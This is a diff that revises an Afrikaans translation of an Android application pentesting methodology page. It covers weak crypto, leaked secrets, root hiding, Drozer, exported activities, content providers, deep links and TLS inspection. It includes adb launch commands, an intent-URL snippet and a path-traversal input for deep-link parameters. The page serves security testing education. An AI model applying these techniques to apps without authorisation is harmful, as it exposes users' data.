-Sommige ontwikkelaars stoor sensitiewe data in die plaaslike berging en enkripteer dit met 'n sleutel wat hardcoded/voorspelbaar in die kode is. Dit behoort nie gedoen te word nie aangesien sommige reversing 'n aanvaller kan toelaat om die vertroulike inligting te onttrek.
+Sommige ontwikkelaars stoor sensitiewe data in plaaslike stoorplekke en enkodeer dit met 'n sleutel wat in die kode hardkodering/patroneerbaar is. Dit behoort nie gedoen te word nie aangesien omgekeerde ingenieurswese 'n aanvaller kan toelaat om die vertroulike inligting te onttrek.
 
-**Gebruik van onseker en/of verouderde algoritmes**
+**Gebruik van onveilige en/of verouderde algoritmes**
 
-Ontwikkelaars behoort nie **verouderde algoritmes** te gebruik om outorisasie **kontroles** uit te voer, data te **stoor** of te **stuur** nie. Sommige van hierdie algoritmes is: RC4, MD4, MD5, SHA1... As **hashes** byvoorbeeld gebruik word om wagwoorde te stoor, moet **brute-force-weerstandige** hashes saam met 'n salt gebruik word.
+Ontwikkelaars behoort nie **verouderde algoritmes** te gebruik om magtiging **checks**, **store** of **send** data uit te voer nie. Sommige van hierdie algoritmes is: RC4, MD4, MD5, SHA1... As **hashes** byvoorbeeld gebruik word om wagwoorde te stoor, moet hashes wat brute-force **resistent** is met salt gebruik word.
 
 ### Ander kontroles
 
-- Dit word aanbeveel om die **APK te obfuskeer** om die reverse engineer se werk vir aanvallers moeiliker te maak.
-- As die app sensitief is (soos bank apps), behoort dit sy **eie kontroles uit te voer om te sien of die mobiele toestel geroot is** en dienooreenkomstig op te tree.
-- As die app sensitief is (soos bank apps), behoort dit te kontroleer of 'n **emulator** gebruik word.
-- As die app sensitief is (soos bank apps), behoort dit **sy eie integriteit te kontroleer voor uitvoering** om na te gaan of dit gewysig is.
-- Gebruik [**APKiD**](https://github.com/rednaga/APKiD) om te kontroleer watter compiler/packer/obfuscator gebruik is om die APK te bou
+- Dit word aanbeveel om die **APK** te obfuskeer om die reverse engineer se werk vir aanvallers moeiliker te maak.
+- As die app sensitief is (soos bank-apps), behoort dit sy **eie kontroles om te kyk of die mobiele toestel geroot is** uit te voer en dienooreenkomstig te reageer.
+- As die app sensitief is (soos bank-apps), behoort dit te kontroleer of 'n **emulator** gebruik word.
+- As die app sensitief is (soos bank-apps), behoort dit **sy eie integriteit te kontroleer voordat dit uitgevoer word** om te sien of dit gewysig is.
+- Gebruik [**APKiD**](https://github.com/rednaga/APKiD) om te kyk watter compiler/packer/obfuscator gebruik is om die APK te bou
 
-### React Native Application
+### React Native-toepassing
 
-Lees die volgende bladsy om te leer hoe om maklik toegang tot die JavaScript-kode van React-toepassings te kry:
+Lees die volgende bladsy om te leer hoe om maklik toegang te kry tot die javascript-kode van React-toepassings:
 
 
 {{#ref}}
@@ -188,7 +187,7 @@ react-native-application.md
 
 ### Xamarin Applications
 
-Lees die volgende bladsy om te leer hoe om maklik toegang tot C#-kode van 'n xamarin-toepassing te kry:
+Lees die volgende bladsy om te leer hoe om maklik toegang te kry tot C#-kode van 'n xamarin toepassing:
 
 
 {{#ref}}
@@ -197,17 +196,17 @@ Lees die volgende bladsy om te leer hoe om maklik toegang tot C#-kode van 'n xam
 
 ### Superpacked Applications
 
-Volgens hierdie [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) is superpacked 'n Meta-algoritme wat die inhoud van 'n toepassing in 'n enkele lêer saamdruk. Die blog bespreek die moontlikheid om 'n app te skep wat hierdie tipe apps dekomprimeer... en 'n vinniger manier wat behels om die **toepassing uit te voer en die gedekomprimeerde lêers van die lêerstelsel te versamel.**
+Volgens hierdie [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) is superpacked 'n Meta-algoritme wat die inhoud van 'n toepassing saamdruk in 'n enkele lêer. Die blog bespreek die moontlikheid om 'n app te skep wat hierdie tipe apps dekomprimeer... en 'n vinniger manier wat behels om die toepassing te **execute the application and gather the decompressed files from the filesystem.**
 
-### Automated Static Code Analysis
+### Geoutomatiseerde Statiese Kode-analise
 
-Die hulpmiddel [**mariana-trench**](https://github.com/facebook/mariana-trench) is in staat om **kwesbaarhede** te vind deur die **kode** van die toepassing te **scan**. Hierdie hulpmiddel bevat 'n reeks **known sources** (wat die tool aandui watter **plekke** die **input** deur die gebruiker beheer word), **sinks** (wat die tool aandui **gevaarlike** **plekke** waar kwaadwillige gebruikerinput skade kan veroorsaak) en **rules**. Hierdie reëls dui die **kombinasie** van **sources-sinks** aan wat 'n kwesbaarheid aandui.
+Die hulpmiddel [**mariana-trench**](https://github.com/facebook/mariana-trench) is in staat om **vulnerabilities** te vind deur die **code** van die toepassing te **scan**. Hierdie hulpmiddel bevat 'n reeks **known sources** (wat aan die hulpmiddel aandui die **places** waar die **input** deur die gebruiker beheer word), **sinks** (wat aan die hulpmiddel aandui **dangerous** **places** waar kwaadwillige gebruikersinvoer skade kan veroorsaak) en **rules**. Hierdie reëls dui die **combination** van **sources-sinks** aan wat 'n kwetsbaarheid aandui.
 
-Met hierdie kennis **sal mariana-trench die kode hersien en moontlike kwesbaarhede daarin vind**.
+Met hierdie kennis **sal mariana-trench die kode hersien en moontlike vulnerabilities daarin vind**.
 
 ### Secrets leaked
 
-'n Toepassing kan secrets (API keys, passwords, hidden urls, subdomains...) daarin hê wat jy moontlik kan ontdek. Jy kan 'n hulpmiddel soos [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) gebruik.
+'n Toepassing kan geheime (API keys, wagwoorde, versteekte urls, subdomeine...) daarin bevat wat jy dalk kan ontdek. Jy kan 'n hulpmiddel soos [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) gebruik.
 
 ### Bypass Biometric Authentication
 
@@ -218,10 +217,10 @@ bypass-biometric-authentication-android.md
 
 ### Ander interessante funksies
 
-- **Kode-uitvoering**: `Runtime.exec(), ProcessBuilder(), native code:system()`
-- **Stuur SMS'e**: `sendTextMessage, sendMultipartTestMessage`
-- **Native functions** gedeclareer as `native`: `public native, System.loadLibrary, System.load`
-- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
+- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
+- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
+- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load`
+- [Lees dit om te leer **how to reverse native functions**](reversing-native-libraries.md)
 
 ### **Other tricks**
 
@@ -236,23 +235,23 @@ content-protocol.md
 
 ## Dinamiese Analise
 
-> Eerstens, jy het 'n omgewing nodig waar jy die toepassing en al die omgewing (Burp CA cert, Drozer en Frida hoofsaaklik) kan installeer. Daarom word 'n rooted toestel (geëmuleer of nie) uiters aanbeveel.
+> Eerstens het jy 'n omgewing nodig waar jy die toepassing en al die omgewing (Burp CA cert, Drozer and Frida mainly) kan installeer. Daarom word 'n gerootte toestel (geëmuleer of nie) sterk aanbeveel.
 
-### Aanlyn dinamiese analise
+### Aanlyn Dinamiese Analise
 
-Jy kan 'n **gratis rekening** skep by: [https://appetize.io/](https://appetize.io). Hierdie platform laat jou toe om APKs te **upload** en **uit te voer**, wat nuttig is om te sien hoe 'n apk optree.
+Jy kan 'n **gratis rekening** skep by: [https://appetize.io/](https://appetize.io). Hierdie platform laat jou toe om APKs te **upload** en **execute**, so dit is nuttig om te sien hoe 'n apk optree.
 
-Jy kan selfs **die logs van jou toepassing** in die web sien en via **adb** koppel.
+Jy kan selfs **die logs van jou toepassing in die web sien** en via **adb** koppel.
 
 ![](<../../images/image (831).png>)
 
-Dankie aan die ADB-verbinding kan jy **Drozer** en **Frida** binne die emulators gebruik.
+Dankie aan die ADB-verbinding kan jy **Drozer** en **Frida** binne die emulator gebruik.
 
-### Lokale dinamiese analise
+### Lokale Dinamiese Analise
 
 #### Gebruik van 'n emulator
 
-- [**Android Studio**](https://developer.android.com/studio) (Jy kan **x86** en **arm** toestelle skep, en volgens [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**laatste x86** weergawes **support ARM libraries** sonder om 'n stadige arm emulator te benodig).
+- [**Android Studio**](https://developer.android.com/studio) (Jy kan **x86** en **arm** toestelle skep, en volgens [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** weergawes **support ARM libraries** sonder om 'n stadiger arm-emulator te benodig).
 - Leer om dit op te stel op hierdie bladsy:
 
 
@@ -260,112 +259,110 @@ Dankie aan die ADB-verbinding kan jy **Drozer** en **Frida** binne die emulators
 avd-android-virtual-device.md
 {{#endref}}
 
-- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Gratis weergawe:** Personal Edition, jy moet 'n rekening skep. _Dit word aanbeveel om die weergawe **MET**_ _**VirtualBox** af te laai om potensiële foute te vermy._)
+- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, jy moet 'n rekening skep. _Dit word aanbeveel om die weergawe **WITH**_ _**VirtualBox** te **download** om potensiële foute te vermy._)
 - [**Nox**](https://es.bignox.com) (Gratis, maar dit ondersteun nie Frida of Drozer nie).
 
 > [!TIP]
-> Wanneer jy 'n nuwe emulator op enige platform skep, onthou dat hoe groter die skerm is, hoe stadiger sal die emulator loop. Kies dus, indien moontlik, klein skerms.
+> Wanneer jy 'n nuwe emulator op enige platform skep, onthou dat hoe groter die skerm is, hoe stadiger sal die emulator loop. Kies dus klein skerms indien moontlik.
 
-Om **google services** (soos AppStore) in Genymotion te **installeer** moet jy op die rooi gemerkte knoppie in die volgende beeld klik:
+Om **google services** (soos AppStore) in Genymotion te installeer, moet jy op die rooi gemerkte knoppie in die volgende beeld klik:
 
 ![](<../../images/image (277).png>)
 
-Let ook daarop dat jy in die **konfigurasie van die Android VM in Genymotion** die **Bridge Network mode** kan kies (dit sal nuttig wees as jy van 'n ander VM met die toolle wil koppel).
+Neem ook kennis dat in die **konfigurasie van die Android VM in Genymotion** jy **Bridge Network mode** kan kies (dit sal nuttig wees as jy vanaf 'n ander VM na die Android VM sal koppel met die hulpmiddels).
 
 #### Gebruik 'n fisiese toestel
 
 Jy moet die **debugging** opsies aktiveer en dit sal goed wees as jy dit kan **root**:
 
 1. **Settings**.
-2. (FromAndroid 8.0) Kies **System**.
-3. Kies **About phone**.
-4. Druk **Build number** 7 keer.
-5. Gaan terug en jy sal die **Developer options** vind.
+2. (FromAndroid 8.0) Select **System**.
+3. Select **About phone**.
+4. Press **Build number** 7 times.
+5. Go back and you will find the **Developer options**.
 
 > Sodra jy die toepassing geïnstalleer het, is die eerste ding wat jy moet doen om dit te probeer en ondersoek wat dit doen, hoe dit werk en gemaklik te raak daarmee.\
-> Ek stel voor om **hierdie aanvanklike dinamiese analise met MobSF dynamic analysis + pidcat** uit te voer, sodat ons kan **leer hoe die toepassing werk** terwyl MobSF 'n hele paar **interessante** **data** vasvang wat jy later kan nagaan.
+> Ek sal voorstel om hierdie aanvanklike dinamiese analise uit te voer deur MobSF dynamic analysis + pidcat te gebruik, sodat ons kan **leer hoe die toepassing werk** terwyl MobSF baie **interessante** **data** vasvang wat jy later kan hersien.
 
 Magisk/Zygisk vinnige notas (aanbeveel op Pixel-toestelle)
-- Patch boot.img with the Magisk app and flash via fastboot to get systemless root
-- Enable Zygisk + DenyList for root hiding; consider LSPosed/Shamiko when stronger hiding is required
-- Keep original boot.img to recover from OTA updates; re-patch after each OTA
-- For screen mirroring, use scrcpy on the host
+- Patch boot.img met die Magisk-app en flash via fastboot om systemless root te kry
+- Aktiveer Zygisk + DenyList vir root-verborge; oorweeg LSPosed/Shamiko wanneer sterker verberging benodig word
+- Hou die oorspronklike boot.img om van OTA-opdaterings te herstel; her-patch na elke OTA
+- Vir skermspieëling, gebruik scrcpy op die host
 
+### Onbedoelde Data Lekkasie
 
+**Logging**
 
-### Onbedoelde Data-lekkasie
-
-**Logregistrasie**
-
-Ontwikkelaars moet versigtig wees om **debugging-inligting** publiek bloot te stel, aangesien dit tot sensitiewe data leak kan lei. Die gereedskap [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel om aansoeklogs te monitor om sensitiewe inligting te identifiseer en te beskerm. **Pidcat** word verkies vir sy gebruiksgemak en leesbaarheid.
+Ontwikkelaars moet versigtig wees om **debugging-inligting** nie publiek bloot te stel nie, aangesien dit tot sensitiewe data leaks kan lei. Die hulpmiddels [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel om toepassingslogs te monitor om sensitiewe inligting te identifiseer en te beskerm. **Pidcat** word verkies vir sy gebruiksgemak en leesbaarheid.
 
 > [!WARNING]
-> Let daarop dat vanaf **later newer than Android 4.0**, **applications are only able to access their own logs**. Dus kan toepassings nie ander apps se logs toegang nie.\
-> Dit word tog steeds aanbeveel om **nie sensitiewe inligting te log nie**.
+> Let wel dat vanaf **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\
+> Dit word tog aanbeveel om **nie sensitiewe inligting te log nie**.
 
-**Copy/Paste Buffer Caching**
+**Kopieer/Plak-klembord**
 
-Android se **clipboard-gebaseerde** raamwerk verskaf copy-paste funksionaliteit in apps, maar dit bied 'n risiko aangesien **ander toepassings** die clipboard kan **toeganklik maak**, wat potensieel sensitiewe data kan blootstel. Dit is belangrik om copy/paste funksies vir sensitiewe gedeeltes van 'n toepassing, soos kredietkaartbesonderhede, te deaktiveer om data leak te voorkom.
+Android se **clipboard-based** raamwerk maak kopieer-plak funksionaliteit in apps moontlik, maar hou 'n risiko in omdat **ander applications** toegang tot die klembord kan hê en moontlik sensitiewe data kan blootstel. Dit is noodsaaklik om kopieer/plak-funksies vir sensitiewe gedeeltes van 'n toepassing, soos kredietkaartbesonderhede, uit te skakel om data leaks te voorkom.
 
 **Crash Logs**
 
-As 'n toepassing **crash** en logs stoor, kan hierdie logs aanvallers help, veral wanneer die toepassing nie gerugsteek kan word nie. Om hierdie risiko te versag, moenie log by crashes nie, en as logs oor die netwerk gestuur moet word, maak seker dat dit via 'n SSL-kanaal gestuur word vir veiligheid.
+As 'n toepassing **crash** en **logs stoor**, kan hierdie logs aanvallers help, veral wanneer die toepassing nie gerusverseer kan word nie. Om hierdie risiko te verminder, vermy logboekhouding by crashes, en as logs oor die netwerk gestuur moet word, sorg dat hulle via 'n SSL-kanaal gestuur word vir sekuriteit.
 
-As pentester, **try to take a look to these logs**.
+As pentester, **probeer hierdie logs te besoek**.
 
 **Analytics Data Sent To 3rd Parties**
 
-Toepassings integreer dikwels dienste soos Google Adsense, wat per ongeluk sensitiewe data kan leak weens onbehoorlike implementering deur ontwikkelaars. Om potensiële data leaks te identifiseer, is dit raadsaam om die toepassing se verkeer te onderskep en te kontroleer of enige sensitiewe inligting aan derdepartye gestuur word.
+Toepassings integreer dikwels dienste soos Google Adsense, wat onbedoeld sensitiewe data kan leak as gevolg van verkeerde implementering deur ontwikkelaars. Om potensiële data leaks te identifiseer, is dit raadsaam om die toepassing se verkeer te onderskep en te kyk vir enige sensitiewe inligting wat aan derdepartye gestuur word.
 
 ### SQLite DBs
 
-Die meeste toepassings sal **interne SQLite-databasisse** gebruik om inligting te stoor. Tydens die pentest neem 'n **kyk** na die **databasisse** wat geskep is, die name van **tabelle** en **kolomme** en al die **data** wat gestoor is omdat jy sensitiewe inligting kan vind (wat 'n kwesbaarheid sou wees).\
-Databasisse behoort geleë te wees in `/data/data/the.package.name/databases` soos `/data/data/com.mwr.example.sieve/databases`
+Die meeste toepassings gebruik **internal SQLite databases** om inligting te stoor. Tydens die pentest kyk na die **databases** wat geskep is, die name van **tables** en **columns** en al die **data** wat gestoor is omdat jy moontlik **sensitiewe inligting** kan vind (wat 'n kwetsbaarheid sou wees).\
+Databases behoort te wees in `/data/data/the.package.name/databases` soos `/data/data/com.mwr.example.sieve/databases`
 
-As die databasis vertroulike inligting stoor en **geënkripteer is** maar jy die **wagwoord** binne die toepassing kan **vind**, is dit steeds 'n **kwesbaarheid**.
+As die databasis vertroulike inligting stoor en **encrypted** is maar jy die **password** in die toepassing kan **find**, is dit steeds 'n **vulnerability**.
 
-Eunumerateer die tabelle met `.tables` en enumereer die kolomme van die tabelle deur `.schema <table_name>`
+Enumereer die tabelle met `.tables` en enumereer die kolomme van die tabelle met `.schema <table_name>`
 
 ### Drozer (Exploit Activities, Content Providers and Services)
 
-Van [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** laat jou toe om die **rol van 'n Android app aan te neem** en met ander apps te interaksie. Dit kan **enige iets doen wat 'n geïnstalleerde aansoek kan doen**, soos gebruik maak van Android se Inter-Process Communication (IPC) meganisme en met die onderliggende bedryfstelsel interakteer. .\
-Drozer is 'n nuttige hulpmiddel om **exported activities, exported services and Content Providers** te exploit soos jy in die volgende afdelings sal leer.
+From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** stel jou in staat om die **rol van 'n Android app aan te neem** en met ander apps te interaksie. Dit kan **alles doen wat 'n geïnstalleerde toepassing kan doen**, soos die gebruik van Android se Inter-Process Communication (IPC) meganisme en interaksie met die onderliggende bedryfstelsel. .\
+Drozer is 'n nuttige hulpmiddel om **exported activities, exported services and Content Providers** te **exploit** soos jy in die volgende afdelings sal leer.
 
-### Exploiting exported Activities
+### Eksploiteer exported Activities
 
 [**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
-Onthou ook dat die kode van 'n activity in die **`onCreate`** metode begin.
+Onthou ook dat die kode van 'n activity begin in die **`onCreate`** metode.
 
-**Outorisasie-omseiling**
+**Authorisation bypass**
 
-Wanneer 'n Activity geëksporteer is, kan jy sy skerm van 'n eksterne app oproep. Dus, as 'n activity met **sensitiewe inligting** **geëksporteer** is, kan jy die **verifikasie** meganismes **omseil** om toegang daartoe te kry.
+Wanneer 'n Activity exported is, kan jy sy skerm van 'n eksterne app aanroep. Dus, as 'n activity met **sensitiewe inligting** **exported** is, kan jy die **authentication** meganismes **bypass** om dit te bereik.
 
 [**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
 
-Jy kan ook 'n geëksporteerde activity vanaf adb begin:
+Jy kan ook 'n exported activity vanaf adb begin:
 
 - PackageName is com.example.demo
 - Exported ActivityName is com.example.test.MainActivity
 ```bash
 adb shell am start -n com.example.demo/com.example.test.MainActivity
 ```
-**NOTE**: MobSF sal die gebruik van _**singleTask/singleInstance**_ as `android:launchMode` in 'n activity as kwaadwillig bespeur, maar weens [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), blyk dit slegs gevaarlik te wees op ou weergawes (API weergawes < 21).
+**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21).
 
 > [!TIP]
-> Let wel dat 'n authorisation bypass nie altyd 'n kwesbaarheid is nie; dit hang af van hoe die bypass werk en watter inligting blootgestel word.
+> Let wel dat 'n authorisation bypass nie altyd 'n kwetsbaarheid is nie; dit hang af van hoe die bypass werk en watter inligting blootgestel word.
 
-**Lekkasie van sensitiewe inligting**
+**Sensitiewe inligting lekkasie**
 
-**Aktiwiteite kan ook resultate teruggee**. As jy 'n geëksporteerde en onbeskermde aktiwiteit vind wat die **`setResult`**-metode aanroep en **sensitiewe inligting teruggee**, is daar 'n lekkasie van sensitiewe inligting.
+**Activities can also return results**. If you manage to find an exported and unprotected activity calling the **`setResult`** method and **returning sensitive information**, daar is 'n sensitiewe inligting lekkasie.
 
 #### Tapjacking
 
-Indien tapjacking nie voorkom word nie, kan jy die geëksporteerde aktiwiteit misbruik om die **gebruiker onvoorsiene aksies te laat uitvoer**. Vir meer inligting oor [**what is Tapjacking follow the link**](#tapjacking).
+If Tapjacking isn't prevented, jy kan die exported activity misbruik om die **gebruiker onvoorsiene aksies te laat uitvoer**. Vir meer inligting oor [**what is Tapjacking follow the link**](#tapjacking).
 
-### Uitbuiting van Content Providers - Toegang tot en manipulasie van sensitiewe inligting
+### Exploiting Content Providers - Accessing and manipulating sensitive information
 
 [**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
-Content providers word hoofsaaklik gebruik om **data te deel**. As 'n app beskikbare content providers het, kan jy dalk **sensitiewe data** daaruit onttrek. Dit is ook belangrik om moontlike **SQL injections** en **Path Traversals** te toets aangesien hulle kwesbaar kan wees.
+Content providers word hoofsaaklik gebruik om **data te deel**. As 'n app beskikbare content providers het, mag jy in staat wees om **sensitiewe** data daaruit te **haal**. Dit is ook belangrik om moontlike **SQL injections** en **Path Traversals** te toets aangesien hulle kwesbaar kan wees.
 
 [**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
 
@@ -374,7 +371,7 @@ Content providers word hoofsaaklik gebruik om **data te deel**. As 'n app beskik
 [**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
 Onthou dat die aksies van 'n Service begin in die metode `onStartCommand`.
 
-'n Service is basies iets wat **data kan ontvang**, dit kan **verwerk** en (al dan nie) 'n reaksie **teruggee**. As 'n toepassing dus sommige services eksporteer, moet jy die **kode** nagaan om te verstaan wat dit doen en dit **dinamies** toets om vertroulike inligting te onttrek en authentication-maatreëls te bypass...\
+'n Service is basies iets wat **data kan ontvang**, dit **verwerk** en (of nie) 'n antwoord **terugstuur**. As 'n toepassing sekere services exporteer, behoort jy die **code** te **kontroleer** om te verstaan wat dit doen en dit **dynamies** te **toets** om vertroulike inligting uit te haal, authentication measures te bypass...\
 [**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
 
 ### **Exploiting Broadcast Receivers**
@@ -382,75 +379,75 @@ Onthou dat die aksies van 'n Service begin in die metode `onStartCommand`.
 [**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
 Onthou dat die aksies van 'n Broadcast Receiver begin in die metode `onReceive`.
 
-'n Broadcast Receiver sal wag vir 'n tipe boodskap. Afhangende daarvan hoe die receiver die boodskap hanteer, kan dit kwesbaar wees.\
+'n Broadcast receiver sal wag vir 'n tipe boodskap. Afhangend van hoe die receiver die boodskap hanteer, kan dit kwesbaar wees.\
 [**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
 
 ### **Exploiting Schemes / Deep links**
 
-Jy kan handmatig na deep links kyk deur gereedskap soos MobSF of skripte soos [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
-Jy kan 'n verklaarde **scheme** oopmaak met **adb** of 'n **browser**:
+Jy kan na deep links soek manuueel, met instrumente soos MobSF of skripte soos [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
+Jy kan 'n verklaarde **scheme** **open** met **adb** of 'n **browser**:
 ```bash
 adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
 ```
-_Let wel dat jy die **package name** kan weglaat en die mobiele toestel sal outomaties die app oproep wat daardie skakel moet oopmaak._
+_Neem kennis dat jy die **pakketnaam kan weglaat** en die mobiele toestel sal outomaties die app oproep wat daardie skakel moet oopmaak._
 ```html
 <!-- Browser regular link -->
 <a href="scheme://hostname/path?param=value">Click me</a>
 <!-- fallback in your url you could try the intent url -->
 <a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
 ```
-**Code executed**
+**Code uitgevoer**
 
-In order to find the **code that will be executed in the App**, go to the activity called by the deeplink and search the function **`onNewIntent`**.
+Om die **kode wat in die App uitgevoer sal word** te vind, gaan na die activity wat deur die deeplink aangeroep word en soek die funksie **`onNewIntent`**.
 
 ![](<../../images/image (436) (1) (1) (1).png>)
 
-**Gevoelige inligting**
+**Sensitiewe inligting**
 
-Elke keer as jy 'n deep link vind, kontroleer dat i**t nie sensitiewe data (soos wagwoorde) via URL-parameters ontvang nie**, want enige ander aansoek kan die **deep link naboots en daardie data steel!**
+Elke keer as jy 'n deep link vind, kontroleer dat i**t nie sensitiewe data (like passwords) via URL parameters ontvang nie**, omdat enige ander toepassing die deep link kan **impersonate en daardie data steel!**
 
 **Parameters in path**
 
-Jy **moet ook nagaan of 'n deep link 'n parameter binne die pad gebruik** van die URL soos: `https://api.example.com/v1/users/{username}` , in daardie geval kan jy 'n path traversal afdwing deur iets soos te benader: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
-Let daarop dat as jy die korrekte endpoints binne die toepassing vind, jy 'n **Open Redirect** kan veroorsaak (as deel van die pad as domeinnaam gebruik word), **account takeover** (as jy gebruikersdetail kan wysig sonder 'n CSRF-token en die kwesbare endpoint die korrekte metode gebruik) en enige ander kwetsbaarheid. More [info about this here](http://dphoeniixx.com/2020/12/13-2/).
+Jy **moet ook kontroleer of enige deep link 'n parameter binne die path gebruik** van die URL soos: `https://api.example.com/v1/users/{username}`, in daardie geval kan jy 'n path traversal afdwing deur iets soos: `example://app/users?username=../../unwanted-endpoint%3fparam=value` toe te roep.\
+Let daarop dat as jy die korrekte endpoints binne die toepassing vind, jy dalk 'n **Open Redirect** kan veroorsaak (as 'n deel van die path as domeinnaam gebruik word), **account takeover** (as jy gebruikersbesonderhede kan wysig sonder 'n CSRF token en die vuln endpoint die korrekte metode gebruik) en enige ander vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/).
 
 **More examples**
 
-'n [interesting bug bounty report](https://hackerone.com/reports/855618) oor links (_/.well-known/assetlinks.json_).
+An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_).
 
 ### Transport Layer Inspection and Verification Failures
 
-- **Sertifikate word nie altyd behoorlik deur Android-toepassings geïnspekteer nie.** Dit is algemeen dat hierdie toepassings waarskuwings ignoreer en self-signed certificates aanvaar of soms terugval op HTTP-verbindinge.
-- **Onderhandelinge tydens die SSL/TLS-handshake is soms swak**, en gebruik onveilige cipher suites. Hierdie kwesbaarheid maak die verbinding vatbaar vir man-in-the-middle (MITM) aanvalle, wat aanvalle in staat stel om die data te ontsleutel.
-- **Leakage of private information** is 'n risiko wanneer toepassings met veilige kanale autentiseer maar daarna oor nie-veilige kanale vir ander transaksies kommunikeer. Hierdie benadering beskerm nie sensitiewe data, soos session cookies of gebruikersdetails, teen onderskeping deur kwaadwilliges nie.
+- **Sertifikate word nie altyd behoorlik geïnspekteer nie** deur Android-toepassings. Dit is algemeen dat hierdie toepassings waarskuwings ignoreer en self-ondertekende sertifikate aanvaar of, in sommige gevalle, terugval na die gebruik van HTTP-verbindinge.
+- **Onderhandelings tydens die SSL/TLS-handshake is soms swak**, wat onveilige cipher suites gebruik. Hierdie kwesbaarheid maak die verbinding vatbaar vir man-in-the-middle (MITM) aanvalle, wat aanvallers toelaat om die data te ontsleutel.
+- **Lekking van privaat inligting** is 'n risiko wanneer toepassings eers verifieer met veilige kanale en dan oor nie-veilige kanale kommunikeer vir ander transaksies. Hierdie benadering beskerm nie sensitiewe data, soos sessie-koekies of gebruikerbesonderhede, teen onderskep deur kwaadwillige entiteite nie.
 
 #### Certificate Verification
 
-Ons fokus op **certificate verification**. Die integriteit van die bediener se sertifikaat moet geverifieer word om sekuriteit te verbeter. Dit is noodsaaklik omdat onveilige TLS-konfigurasies en die oordrag van sensitiewe data oor onversleutelde kanale beduidende risiko's kan skep. Vir gedetailleerde stappe oor die verifiëring van bedienersertifikate en die aanspreek van kwesbaarhede, verskaf [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) omvattende leiding.
+Ons sal fokus op **sertifikaatverifikasie**. Die integriteit van die bediener se sertifikaat moet geverifieer word om veiligheid te verbeter. Dit is noodsaaklik omdat onveilige TLS-konfigurasies en die oordrag van sensitiewe data oor nie-enkripteerde kanale beduidende risiko's kan meebring. For detailed steps on verifying server certificates and addressing vulnerabilities, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) provides comprehensive guidance.
 
 #### SSL Pinning
 
-SSL Pinning is 'n sekuriteitsmaatreël waar die toepassing die bediener se sertifikaat verifieer teen 'n bekende kopie wat binne die toepassing self gestoor is. Hierdie metode is noodsaaklik om MITM-aanvalle te voorkom. Implementering van SSL Pinning word sterk aanbeveel vir toepassings wat sensitiewe inligting hanteer.
+SSL Pinning is 'n sekuriteitsmaatreël waar die toepassing die bediener se sertifikaat verifieer teen 'n bekende kopie wat binne die toepassing self gestoor is. Hierdie metode is essensieel om MITM-aanvalle te voorkom. Die implementering van SSL Pinning word sterk aanbeveel vir toepassings wat sensitiewe inligting hanteer.
 
 #### Traffic Inspection
 
-Om HTTP-verkeer te inspekteer, is dit nodig om **die proxy-tool se sertifikaat te installeer** (bv. Burp). Sonder om hierdie sertifikaat te installeer, mag versleutelde verkeer nie deur die proxy sigbaar wees nie. Vir 'n gids oor die installering van 'n pasgemaakte CA-sertifikaat, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
+Om HTTP-verkeer te inspekteer, is dit nodig om die **proxy tool's certificate** te installeer (e.g., Burp). Sonder om hierdie sertifikaat te installeer, mag enkripsiesed verkeer nie deur die proxy sigbaar wees nie. Vir 'n gids oor die installering van 'n pasgemaakte CA-sertifikaat, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
 
-Toepassings wat **API Level 24 and above** mik, vereis wysigings aan die Network Security Config om die proxy se CA-sertifikaat te aanvaar. Hierdie stap is kritiek vir die inspeksie van versleutelde verkeer. Vir instruksies oor die wysiging van die Network Security Config, verwys na [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
